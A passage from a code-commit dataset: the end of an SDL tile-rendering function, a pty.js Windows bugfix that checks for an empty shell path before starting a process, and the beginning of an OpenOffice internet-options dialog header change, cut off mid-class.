draw_vect[0] = ((msb & 1 << 7) >> 6) + ((lsb & 1 << 7) >> 7);
draw_vect[1] = ((msb & 1 << 6) >> 5) + ((lsb & 1 << 6) >> 6);
draw_vect[2] = ((msb & 1 << 5) >> 4) + ((lsb & 1 << 5) >> 5);
draw_vect[3] = ((msb & 1 << 4) >> 3) + ((lsb & 1 << 4) >> 4);
draw_vect[4] = ((msb & 1 << 3) >> 2) + ((lsb & 1 << 3) >> 3);
draw_vect[5] = ((msb & 1 << 2) >> 1) + ((lsb & 1 << 2) >> 2);
draw_vect[6] = ((msb & 1 << 1) >> 0) + ((lsb & 1 << 1) >> 1);
draw_vect[7] = ((msb & 1 << 0) << 1) + ((lsb & 1 << 0) >> 0);
draw_line(draw_vect, x, y+(k/2));
}
if(x >= 248){
x = 0;
y += 8;
}
else
x += 8;
}
}
//update window only after all lines are updated
flush_to_screen(mem);
SDL_UpdateWindowSurface( window );
}
//Exit SDL cleanly
void exit_clean(){
SDL_FreeSurface(surface);
SDL_DestroyWindow(window);
SDL_Quit();
}
<|endoftext|> |
<commit_before>/**
* pty.js
* Copyright (c) 2013, Christopher Jeffrey, Peter Sunde (MIT License)
*
* pty.cc:
* This file is responsible for starting processes
* with pseudo-terminal file descriptors.
*/
#include <v8.h>
#include <node.h>
#include <node_buffer.h>
#include <string.h>
#include <stdlib.h>
#include <winpty.h>
#include <Shlwapi.h> // PathCombine
#include <string>
#include <sstream>
#include <iostream>
#include <vector>
using namespace v8;
using namespace std;
using namespace node;
/**
* Misc
*/
extern "C" void init(Handle<Object>);
#define WINPTY_DBG_VARIABLE TEXT("WINPTYDBG")
#define MAX_ENV 65536
/**
* winpty
*/
static std::vector<winpty_t *> ptyHandles;
static volatile LONG ptyCounter;
struct winpty_s {
winpty_s();
HANDLE controlPipe;
HANDLE dataPipe;
};
winpty_s::winpty_s() :
controlPipe(nullptr),
dataPipe(nullptr)
{
}
/**
* Helpers
*/
const wchar_t* to_wstring(const String::Utf8Value& str)
{
const char *bytes = *str;
unsigned int sizeOfStr = MultiByteToWideChar(CP_ACP, 0, bytes, -1, NULL, 0);
wchar_t *output = new wchar_t[sizeOfStr];
MultiByteToWideChar(CP_ACP, 0, bytes, -1, output, sizeOfStr);
return output;
}
static winpty_t *get_pipe_handle(int handle) {
for(winpty_t *ptyHandle : ptyHandles) {
int current = (int)ptyHandle->controlPipe;
if(current == handle) {
return ptyHandle;
}
}
return nullptr;
}
static bool remove_pipe_handle(int handle) {
for(winpty_t *ptyHandle : ptyHandles) {
if((int)ptyHandle->controlPipe == handle) {
delete ptyHandle;
ptyHandle = nullptr;
return true;
}
}
return false;
}
static bool file_exists(std::wstring filename) {
DWORD attr = ::GetFileAttributesW(filename.c_str());
if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY)) {
return false;
}
return true;
}
// cmd.exe -> C:\Windows\system32\cmd.exe
static std::wstring get_shell_path(std::wstring filename) {
if(file_exists(filename)) {
return nullptr;
}
wchar_t buffer_[MAX_ENV];
int read = ::GetEnvironmentVariableW(L"Path", buffer_, MAX_ENV);
if(!read) {
return nullptr;
}
std::wstring delimiter = L";";
size_t pos = 0;
vector<wstring> paths;
std::wstring buffer(buffer_);
while ((pos = buffer.find(delimiter)) != std::wstring::npos) {
paths.push_back(buffer.substr(0, pos));
buffer.erase(0, pos + delimiter.length());
}
const wchar_t *filename_ = filename.c_str();
for(wstring path : paths) {
wchar_t searchPath[MAX_PATH];
::PathCombineW(searchPath, const_cast<wchar_t*>(path.c_str()), filename_);
if(searchPath == NULL) {
continue;
}
if(file_exists(searchPath)) {
return std::wstring(searchPath);
}
}
return nullptr;
}
/*
* PtyOpen
* pty.open(dataPipe, cols, rows)
*
* If you need to debug winpty-agent.exe do the following:
* ======================================================
*
* 1) Install python 2.7
* 2) Install win32pipe
x86) http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win32-py2.7.exe/download
x64) http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win-amd64-py2.7.exe/download
* 3) Start deps/winpty/misc/DebugServer.py (Before you start node)
*
* Then you'll see output from winpty-agent.exe.
*
* Important part:
* ===============
* CreateProcess: success 8896 0 (Windows error code)
*
* Create test.js:
* ===============
*
* var pty = require('./');
*
* var term = pty.fork('cmd.exe', [], {
* name: 'Windows Shell',
* cols: 80,
* rows: 30,
* cwd: process.env.HOME,
* env: process.env,
* debug: true
* });
*
* term.on('data', function(data) {
* console.log(data);
* });
*
*/
static Handle<Value> PtyOpen(const Arguments& args) {
HandleScope scope;
if (args.Length() != 4
|| !args[0]->IsString() // dataPipe
|| !args[1]->IsNumber() // cols
|| !args[2]->IsNumber() // rows
|| !args[3]->IsBoolean()) // debug
{
return ThrowException(Exception::Error(
String::New("Usage: pty.open(dataPipe, cols, rows, debug)")));
}
const wchar_t *pipeName = to_wstring(String::Utf8Value(args[0]->ToString()));
int cols = args[1]->Int32Value();
int rows = args[2]->Int32Value();
bool debug = args[3]->ToBoolean()->IsTrue();
// Enable/disable debugging
SetEnvironmentVariable(WINPTY_DBG_VARIABLE, debug ? "1" : NULL); // NULL = deletes variable
// Open a new pty session.
winpty_t *pc = winpty_open_use_own_datapipe(pipeName, cols, rows);
// Error occured during startup of agent process.
assert(pc != nullptr);
// Save pty struct fpr later use.
ptyHandles.insert(ptyHandles.end(), pc);
// Pty object values.
Local<Object> marshal = Object::New();
marshal->Set(String::New("pid"), Number::New((int)pc->controlPipe));
marshal->Set(String::New("pty"), Number::New(InterlockedIncrement(&ptyCounter)));
marshal->Set(String::New("fd"), Number::New(-1));
delete pipeName;
return scope.Close(marshal);
}
/*
* PtyStartProcess
* pty.startProcess(pid, file, env, cwd);
*/
static Handle<Value> PtyStartProcess(const Arguments& args) {
HandleScope scope;
if (args.Length() != 5
|| !args[0]->IsNumber() // pid
|| !args[1]->IsString() // file
|| !args[2]->IsString() // cmdline
|| !args[3]->IsArray() // env
|| !args[4]->IsString()) // cwd
{
return ThrowException(Exception::Error(
String::New("Usage: pty.startProcess(pid, file, cmdline, env, cwd)")));
}
// Get winpty_t by control pipe handle
int pid = args[0]->Int32Value();
winpty_t *pc = get_pipe_handle(pid);
assert(pc != nullptr);
const wchar_t *filename = to_wstring(String::Utf8Value(args[1]->ToString()));
const wchar_t *cmdline = to_wstring(String::Utf8Value(args[2]->ToString()));
const wchar_t *cwd = to_wstring(String::Utf8Value(args[4]->ToString()));
// create environment block
wchar_t *env = NULL;
const Handle<Array> envValues = Handle<Array>::Cast(args[3]);
if(!envValues.IsEmpty()) {
std::wstringstream envBlock;
for(uint32_t i = 0; i < envValues->Length(); i++) {
std::wstring envValue(to_wstring(String::Utf8Value(envValues->Get(i)->ToString())));
envBlock << envValue << L' ';
}
std::wstring output = envBlock.str();
size_t count = output.size();
env = new wchar_t[count + 2];
wcsncpy(env, output.c_str(), count);
wcscat(env, L"\0");
}
// use environment 'Path' variable to determine location of
// the relative path that we have recieved (e.g cmd.exe)
std::wstring shellpath;
if(::PathIsRelativeW(filename)) {
shellpath = get_shell_path(filename);
} else {
shellpath = filename;
}
if(!file_exists(shellpath)) {
return ThrowException(Exception::Error(String::New("Unable to load executable, it does not exist.")));
}
int result = winpty_start_process(pc, shellpath.c_str(), cmdline, cwd, env);
delete env;
assert(0 == result);
return scope.Close(Undefined());
}
/*
* PtyResize
* pty.resize(pid, cols, rows);
*/
static Handle<Value> PtyResize(const Arguments& args) {
HandleScope scope;
if (args.Length() != 3
|| !args[0]->IsNumber() // pid
|| !args[1]->IsNumber() // cols
|| !args[2]->IsNumber()) // rows
{
return ThrowException(Exception::Error(String::New("Usage: pty.resize(pid, cols, rows)")));
}
int handle = args[0]->Int32Value();
int cols = args[1]->Int32Value();
int rows = args[2]->Int32Value();
winpty_t *pc = get_pipe_handle(handle);
assert(pc != nullptr);
assert(0 == winpty_set_size(pc, cols, rows));
return scope.Close(Undefined());
}
/*
* PtyKill
* pty.kill(pid);
*/
static Handle<Value> PtyKill(const Arguments& args) {
HandleScope scope;
if (args.Length() != 1
|| !args[0]->IsNumber()) // pid
{
return ThrowException(Exception::Error(String::New("Usage: pty.kill(pid)")));
}
int handle = args[0]->Int32Value();
winpty_t *pc = get_pipe_handle(handle);
assert(pc != nullptr);
winpty_exit(pc);
assert(true == remove_pipe_handle(handle));
return scope.Close(Undefined());
}
/**
* Init
*/
extern "C" void init(Handle<Object> target) {
HandleScope scope;
NODE_SET_METHOD(target, "open", PtyOpen);
NODE_SET_METHOD(target, "startProcess", PtyStartProcess);
NODE_SET_METHOD(target, "resize", PtyResize);
NODE_SET_METHOD(target, "kill", PtyKill);
};
NODE_MODULE(pty, init);
<commit_msg>bugfix: always check if shellpath is empty<commit_after>/**
* pty.js
* Copyright (c) 2013, Christopher Jeffrey, Peter Sunde (MIT License)
*
* pty.cc:
* This file is responsible for starting processes
* with pseudo-terminal file descriptors.
*/
#include <v8.h>
#include <node.h>
#include <node_buffer.h>
#include <string.h>
#include <stdlib.h>
#include <winpty.h>
#include <Shlwapi.h> // PathCombine
#include <string>
#include <sstream>
#include <iostream>
#include <vector>
using namespace v8;
using namespace std;
using namespace node;
/**
* Misc
*/
extern "C" void init(Handle<Object>);
#define WINPTY_DBG_VARIABLE TEXT("WINPTYDBG")
#define MAX_ENV 65536
/**
* winpty
*/
static std::vector<winpty_t *> ptyHandles;
static volatile LONG ptyCounter;
struct winpty_s {
winpty_s();
HANDLE controlPipe;
HANDLE dataPipe;
};
winpty_s::winpty_s() :
controlPipe(nullptr),
dataPipe(nullptr)
{
}
/**
* Helpers
*/
const wchar_t* to_wstring(const String::Utf8Value& str)
{
const char *bytes = *str;
unsigned int sizeOfStr = MultiByteToWideChar(CP_ACP, 0, bytes, -1, NULL, 0);
wchar_t *output = new wchar_t[sizeOfStr];
MultiByteToWideChar(CP_ACP, 0, bytes, -1, output, sizeOfStr);
return output;
}
static winpty_t *get_pipe_handle(int handle) {
for(winpty_t *ptyHandle : ptyHandles) {
int current = (int)ptyHandle->controlPipe;
if(current == handle) {
return ptyHandle;
}
}
return nullptr;
}
static bool remove_pipe_handle(int handle) {
for(winpty_t *ptyHandle : ptyHandles) {
if((int)ptyHandle->controlPipe == handle) {
delete ptyHandle;
ptyHandle = nullptr;
return true;
}
}
return false;
}
static bool file_exists(std::wstring filename) {
DWORD attr = ::GetFileAttributesW(filename.c_str());
if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY)) {
return false;
}
return true;
}
// cmd.exe -> C:\Windows\system32\cmd.exe
static std::wstring get_shell_path(std::wstring filename) {
std::wstring shellpath;
if(file_exists(filename)) {
return shellpath;
}
wchar_t buffer_[MAX_ENV];
int read = ::GetEnvironmentVariableW(L"Path", buffer_, MAX_ENV);
if(!read) {
return shellpath;
}
std::wstring delimiter = L";";
size_t pos = 0;
vector<wstring> paths;
std::wstring buffer(buffer_);
while ((pos = buffer.find(delimiter)) != std::wstring::npos) {
paths.push_back(buffer.substr(0, pos));
buffer.erase(0, pos + delimiter.length());
}
const wchar_t *filename_ = filename.c_str();
for(wstring path : paths) {
wchar_t searchPath[MAX_PATH];
::PathCombineW(searchPath, const_cast<wchar_t*>(path.c_str()), filename_);
if(searchPath == NULL) {
continue;
}
if(file_exists(searchPath)) {
shellpath = searchPath;
break;
}
}
return shellpath;
}
/*
* PtyOpen
* pty.open(dataPipe, cols, rows)
*
* If you need to debug winpty-agent.exe do the following:
* ======================================================
*
* 1) Install python 2.7
* 2) Install win32pipe
x86) http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win32-py2.7.exe/download
x64) http://sourceforge.net/projects/pywin32/files/pywin32/Build%20218/pywin32-218.win-amd64-py2.7.exe/download
* 3) Start deps/winpty/misc/DebugServer.py (Before you start node)
*
* Then you'll see output from winpty-agent.exe.
*
* Important part:
* ===============
* CreateProcess: success 8896 0 (Windows error code)
*
* Create test.js:
* ===============
*
* var pty = require('./');
*
* var term = pty.fork('cmd.exe', [], {
* name: 'Windows Shell',
* cols: 80,
* rows: 30,
* cwd: process.env.HOME,
* env: process.env,
* debug: true
* });
*
* term.on('data', function(data) {
* console.log(data);
* });
*
*/
static Handle<Value> PtyOpen(const Arguments& args) {
HandleScope scope;
if (args.Length() != 4
|| !args[0]->IsString() // dataPipe
|| !args[1]->IsNumber() // cols
|| !args[2]->IsNumber() // rows
|| !args[3]->IsBoolean()) // debug
{
return ThrowException(Exception::Error(
String::New("Usage: pty.open(dataPipe, cols, rows, debug)")));
}
const wchar_t *pipeName = to_wstring(String::Utf8Value(args[0]->ToString()));
int cols = args[1]->Int32Value();
int rows = args[2]->Int32Value();
bool debug = args[3]->ToBoolean()->IsTrue();
// Enable/disable debugging
SetEnvironmentVariable(WINPTY_DBG_VARIABLE, debug ? "1" : NULL); // NULL = deletes variable
// Open a new pty session.
winpty_t *pc = winpty_open_use_own_datapipe(pipeName, cols, rows);
// Error occured during startup of agent process.
assert(pc != nullptr);
// Save pty struct fpr later use.
ptyHandles.insert(ptyHandles.end(), pc);
// Pty object values.
Local<Object> marshal = Object::New();
marshal->Set(String::New("pid"), Number::New((int)pc->controlPipe));
marshal->Set(String::New("pty"), Number::New(InterlockedIncrement(&ptyCounter)));
marshal->Set(String::New("fd"), Number::New(-1));
delete pipeName;
return scope.Close(marshal);
}
/*
* PtyStartProcess
* pty.startProcess(pid, file, env, cwd);
*/
static Handle<Value> PtyStartProcess(const Arguments& args) {
HandleScope scope;
if (args.Length() != 5
|| !args[0]->IsNumber() // pid
|| !args[1]->IsString() // file
|| !args[2]->IsString() // cmdline
|| !args[3]->IsArray() // env
|| !args[4]->IsString()) // cwd
{
return ThrowException(Exception::Error(
String::New("Usage: pty.startProcess(pid, file, cmdline, env, cwd)")));
}
// Get winpty_t by control pipe handle
int pid = args[0]->Int32Value();
winpty_t *pc = get_pipe_handle(pid);
assert(pc != nullptr);
const wchar_t *filename = to_wstring(String::Utf8Value(args[1]->ToString()));
const wchar_t *cmdline = to_wstring(String::Utf8Value(args[2]->ToString()));
const wchar_t *cwd = to_wstring(String::Utf8Value(args[4]->ToString()));
// create environment block
wchar_t *env = NULL;
const Handle<Array> envValues = Handle<Array>::Cast(args[3]);
if(!envValues.IsEmpty()) {
std::wstringstream envBlock;
for(uint32_t i = 0; i < envValues->Length(); i++) {
std::wstring envValue(to_wstring(String::Utf8Value(envValues->Get(i)->ToString())));
envBlock << envValue << L' ';
}
std::wstring output = envBlock.str();
size_t count = output.size();
env = new wchar_t[count + 2];
wcsncpy(env, output.c_str(), count);
wcscat(env, L"\0");
}
// use environment 'Path' variable to determine location of
// the relative path that we have recieved (e.g cmd.exe)
std::wstring shellpath;
if(::PathIsRelativeW(filename)) {
shellpath = get_shell_path(filename);
} else {
shellpath = filename;
}
if(shellpath.empty() || !file_exists(shellpath)) {
return ThrowException(Exception::Error(String::New("Unable to load executable, it does not exist.")));
}
int result = winpty_start_process(pc, shellpath.c_str(), cmdline, cwd, env);
delete env;
assert(0 == result);
return scope.Close(Undefined());
}
/*
* PtyResize
* pty.resize(pid, cols, rows);
*/
static Handle<Value> PtyResize(const Arguments& args) {
HandleScope scope;
if (args.Length() != 3
|| !args[0]->IsNumber() // pid
|| !args[1]->IsNumber() // cols
|| !args[2]->IsNumber()) // rows
{
return ThrowException(Exception::Error(String::New("Usage: pty.resize(pid, cols, rows)")));
}
int handle = args[0]->Int32Value();
int cols = args[1]->Int32Value();
int rows = args[2]->Int32Value();
winpty_t *pc = get_pipe_handle(handle);
assert(pc != nullptr);
assert(0 == winpty_set_size(pc, cols, rows));
return scope.Close(Undefined());
}
/*
* PtyKill
* pty.kill(pid);
*/
static Handle<Value> PtyKill(const Arguments& args) {
HandleScope scope;
if (args.Length() != 1
|| !args[0]->IsNumber()) // pid
{
return ThrowException(Exception::Error(String::New("Usage: pty.kill(pid)")));
}
int handle = args[0]->Int32Value();
winpty_t *pc = get_pipe_handle(handle);
assert(pc != nullptr);
winpty_exit(pc);
assert(true == remove_pipe_handle(handle));
return scope.Close(Undefined());
}
/**
* Init
*/
extern "C" void init(Handle<Object> target) {
HandleScope scope;
NODE_SET_METHOD(target, "open", PtyOpen);
NODE_SET_METHOD(target, "startProcess", PtyStartProcess);
NODE_SET_METHOD(target, "resize", PtyResize);
NODE_SET_METHOD(target, "kill", PtyKill);
};
NODE_MODULE(pty, init);
<|endoftext|> |
<commit_before>/*************************************************************************
*
* $RCSfile: optinet2.hxx,v $
*
* $Revision: 1.6 $
*
* last change: $Author: kz $ $Date: 2004-08-31 12:13:45 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _SVX_OPTINET_HXX
#define _SVX_OPTINET_HXX
#ifndef _SV_LSTBOX_HXX
#include <vcl/lstbox.hxx>
#endif
#ifndef _SV_GROUP_HXX
#include <vcl/group.hxx>
#endif
#ifndef _SV_FIELD_HXX
#include <vcl/field.hxx>
#endif
#ifndef _SVARRAY_HXX
#include <svtools/svarray.hxx>
#endif
#ifndef _STDCTRL_HXX //autogen
#include <svtools/stdctrl.hxx>
#endif
#ifndef _SVTABBX_HXX //autogen
#include <svtools/svtabbx.hxx>
#endif
#ifndef _SFXTABDLG_HXX //autogen
#include <sfx2/tabdlg.hxx>
#endif
#ifndef _SVX_SRCHNCFG_HXX
#include "srchcfg.hxx"
#endif
#ifdef _SVX_OPTINET2_CXX
#ifndef _HEADBAR_HXX //autogen
#include <svtools/headbar.hxx>
#endif
#else
class HeaderBar;
#endif
#ifndef _SVX_READONLYIMAGE_HXX
#include <readonlyimage.hxx>
#endif
class SfxFilter;
class SvtInetOptions;
#ifndef SV_NODIALOG
#define PROXY_CONTROLS 23
#define CACHE_CONTROLS 20
#define INET_SEARCH 19
#if defined(OS2) || defined(MAC)
#define TYPE_CONTROLS 20
#else
#define TYPE_CONTROLS 18
#endif
// class SvxNoSpaceEdit --------------------------------------------------
class SvxNoSpaceEdit : public Edit
{
private:
BOOL bOnlyNumeric;
public:
SvxNoSpaceEdit(Window* pParent, ResId rResId, BOOL bNum = FALSE ) :
Edit( pParent, rResId ), bOnlyNumeric( bNum ) {}
virtual void KeyInput( const KeyEvent& rKEvent );
virtual void Modify();
};
typedef SfxFilter* SfxFilterPtr;
SV_DECL_PTRARR( SfxFilterPtrArr, SfxFilterPtr, 0, 4 )
// class SvxProxyTabPage -------------------------------------------------
class SvxProxyTabPage : public SfxTabPage
{
private:
FixedLine aOptionGB;
FixedText aProxyModeFT;
ListBox aProxyModeLB;
FixedText aHttpProxyFT;
SvxNoSpaceEdit aHttpProxyED;
FixedText aHttpPortFT;
SvxNoSpaceEdit aHttpPortED;
FixedText aFtpProxyFT;
SvxNoSpaceEdit aFtpProxyED;
FixedText aFtpPortFT;
SvxNoSpaceEdit aFtpPortED;
FixedText aNoProxyForFT;
Edit aNoProxyForED;
FixedText aNoProxyDescFT;
String sFromBrowser;
SvtInetOptions* pInetOptions;
#ifdef _SVX_OPTINET2_CXX
void EnableControls_Impl(BOOL bEnable);
DECL_LINK( ProxyHdl_Impl, ListBox * );
DECL_LINK( LoseFocusHdl_Impl, Edit * );
#endif
SvxProxyTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxProxyTabPage();
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
// class SvxSearchTabPage ------------------------------------------------
class SvxSearchConfig;
class SvxSearchTabPage : public SfxTabPage
{
private:
FixedLine aSearchGB;
ListBox aSearchLB;
FixedText aSearchNameFT;
SvxNoSpaceEdit aSearchNameED;
FixedText aSearchFT;
RadioButton aAndRB;
RadioButton aOrRB;
RadioButton aExactRB;
FixedText aURLFT;
SvxNoSpaceEdit aURLED;
FixedText aPostFixFT;
SvxNoSpaceEdit aPostFixED;
FixedText aSeparatorFT;
SvxNoSpaceEdit aSeparatorED;
FixedText aCaseFT;
ListBox aCaseED;
PushButton aNewPB;
PushButton aAddPB;
PushButton aChangePB;
PushButton aDeletePB;
String sLastSelectedEntry;
String sModifyMsg;
SvxSearchConfig aSearchConfig;
SvxSearchEngineData aCurrentSrchData;
#ifdef _SVX_OPTINET2_CXX
void FillSearchBox_Impl();
String GetSearchString_Impl();
DECL_LINK( NewSearchHdl_Impl, PushButton * );
DECL_LINK( AddSearchHdl_Impl, PushButton * );
DECL_LINK( ChangeSearchHdl_Impl, PushButton * );
DECL_LINK( DeleteSearchHdl_Impl, PushButton * );
DECL_LINK( SearchEntryHdl_Impl, ListBox * );
DECL_LINK( SearchModifyHdl_Impl, SvxNoSpaceEdit * );
DECL_LINK( SearchPartHdl_Impl, RadioButton * );
#endif
virtual void ActivatePage( const SfxItemSet& rSet );
virtual int DeactivatePage( SfxItemSet* pSet = 0 );
BOOL ConfirmLeave( const String& rStringSelection ); //add by BerryJia for fixing Bug102610 Time:2002-8-29 11:00 (China Standard Time GMT+08:00)
SvxSearchTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxSearchTabPage();
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
// #98647# class SvxScriptExecListBox ------------------------------------
class SvxScriptExecListBox : public ListBox
{ // for adding tooltips to ListBox
public:
SvxScriptExecListBox( Window* pParent, WinBits nStyle = WB_BORDER )
:ListBox(pParent, nStyle) {}
SvxScriptExecListBox( Window* pParent, const ResId& rResId )
:ListBox(pParent, rResId) {}
protected:
virtual void RequestHelp( const HelpEvent& rHEvt );
};
// class SvxSecurityTabPage ---------------------------------------------
class SvtJavaOptions;
class SvtSecurityOptions;
class SvxSecurityTabPage : public SfxTabPage
{
public:
enum RedliningMode { RL_NONE, RL_WRITER, RL_CALC };
private:
FixedLine maSecOptionsFL;
FixedInfo maSecOptionsFI;
CheckBox maSaveOrSendDocsCB;
CheckBox maSignDocsCB;
CheckBox maPrintDocsCB;
CheckBox maCreatePdfCB;
CheckBox maRemovePersInfoCB;
CheckBox maRecommPasswdCB;
FixedLine maMacroSecFL;
FixedInfo maMacroSecFI;
PushButton maMacroSecPB;
FixedLine maFilesharingFL;
CheckBox maRecommReadOnlyCB;
CheckBox maRecordChangesCB;
PushButton maProtectRecordsPB;
SvtSecurityOptions* mpSecOptions;
RedliningMode meRedlingMode;
String msProtectRecordsStr;
String msUnprotectRecordsStr;
DECL_LINK( AdvancedPBHdl, void* );
DECL_LINK( MacroSecPBHdl, void* );
DECL_LINK( RecordChangesCBHdl, void* );
DECL_LINK( ProtectRecordsPBHdl, void* );
void CheckRecordChangesState( void );
SvxSecurityTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~SvxSecurityTabPage();
protected:
virtual void ActivatePage( const SfxItemSet& rSet );
virtual int DeactivatePage( SfxItemSet* pSet = 0 );
public:
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
//added by jmeng begin
class MozPluginTabPage : public SfxTabPage
{
FixedLine aMSWordGB;
CheckBox aWBasicCodeCB;
BOOL isInstalled(void);
BOOL installPlugin(void);
BOOL uninstallPlugin(void);
MozPluginTabPage( Window* pParent, const SfxItemSet& rSet );
virtual ~MozPluginTabPage();
public:
static SfxTabPage* Create( Window* pParent,
const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
//added by jmeng end
#endif
/* -----------------------------20.06.01 16:32--------------------------------
---------------------------------------------------------------------------*/
#ifdef WNT
#else
#define HELPER_PAGE_COMPLETE
#endif
struct SvxEMailTabPage_Impl;
class SvxEMailTabPage : public SfxTabPage
{
FixedLine aMailFL;
ReadOnlyImage aMailerURLFI;
FixedText aMailerURLFT;
Edit aMailerURLED;
PushButton aMailerURLPB;
String m_sDefaultFilterName;
SvxEMailTabPage_Impl* pImpl;
DECL_LINK( FileDialogHdl_Impl, PushButton* ) ;
public:
SvxEMailTabPage( Window* pParent, const SfxItemSet& rSet );
~SvxEMailTabPage();
static SfxTabPage* Create( Window* pParent, const SfxItemSet& rAttrSet );
virtual BOOL FillItemSet( SfxItemSet& rSet );
virtual void Reset( const SfxItemSet& rSet );
};
#endif // #ifndef _SVX_OPTINET_HXX
<commit_msg>INTEGRATION: CWS syssettings02 (1.5.4); FILE MERGED 2004/09/03 05:53:05 obr 1.5.4.1: #i20369# proxy tab page rework<commit_after>/*************************************************************************
*
* $RCSfile: optinet2.hxx,v $
*
* $Revision: 1.7 $
*
* last change: $Author: rt $ $Date: 2004-09-17 13:35:20 $
*
* The Contents of this file are made available subject to the terms of
* either of the following licenses
*
* - GNU Lesser General Public License Version 2.1
* - Sun Industry Standards Source License Version 1.1
*
* Sun Microsystems Inc., October, 2000
*
* GNU Lesser General Public License Version 2.1
* =============================================
* Copyright 2000 by Sun Microsystems, Inc.
* 901 San Antonio Road, Palo Alto, CA 94303, USA
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License version 2.1, as published by the Free Software Foundation.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston,
* MA 02111-1307 USA
*
*
* Sun Industry Standards Source License Version 1.1
* =================================================
* The contents of this file are subject to the Sun Industry Standards
* Source License Version 1.1 (the "License"); You may not use this file
* except in compliance with the License. You may obtain a copy of the
* License at http://www.openoffice.org/license.html.
*
* Software provided under this License is provided on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
* WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,
* MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.
* See the License for the specific provisions governing your rights and
* obligations concerning the Software.
*
* The Initial Developer of the Original Code is: Sun Microsystems, Inc.
*
* Copyright: 2000 by Sun Microsystems, Inc.
*
* All Rights Reserved.
*
* Contributor(s): _______________________________________
*
*
************************************************************************/
#ifndef _SVX_OPTINET_HXX
#define _SVX_OPTINET_HXX
#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_
#include <com/sun/star/lang/XMultiServiceFactory.hpp>
#endif
#ifndef _SV_LSTBOX_HXX
#include <vcl/lstbox.hxx>
#endif
#ifndef _SV_GROUP_HXX
#include <vcl/group.hxx>
#endif
#ifndef _SV_FIELD_HXX
#include <vcl/field.hxx>
#endif
#ifndef _SVARRAY_HXX
#include <svtools/svarray.hxx>
#endif
#ifndef _STDCTRL_HXX //autogen
#include <svtools/stdctrl.hxx>
#endif
#ifndef _SVTABBX_HXX //autogen
#include <svtools/svtabbx.hxx>
#endif
#ifndef _SFXTABDLG_HXX //autogen
#include <sfx2/tabdlg.hxx>
#endif
#ifndef _SVX_SRCHNCFG_HXX
#include "srchcfg.hxx"
#endif
#ifdef _SVX_OPTINET2_CXX
#ifndef _HEADBAR_HXX //autogen
#include <svtools/headbar.hxx>
#endif
#else
class HeaderBar;
#endif
#ifndef _SVX_READONLYIMAGE_HXX
#include <readonlyimage.hxx>
#endif
class SfxFilter;
class SvtInetOptions;
#ifndef SV_NODIALOG
#define PROXY_CONTROLS 23
#define CACHE_CONTROLS 20
#define INET_SEARCH 19
#if defined(OS2) || defined(MAC)
#define TYPE_CONTROLS 20
#else
#define TYPE_CONTROLS 18
#endif
namespace lang = ::com::sun::star::lang;
namespace uno = ::com::sun::star::uno;
// class SvxNoSpaceEdit --------------------------------------------------
class SvxNoSpaceEdit : public Edit
{
private:
BOOL bOnlyNumeric;
public:
SvxNoSpaceEdit(Window* pParent, ResId rResId, BOOL bNum = FALSE ) :
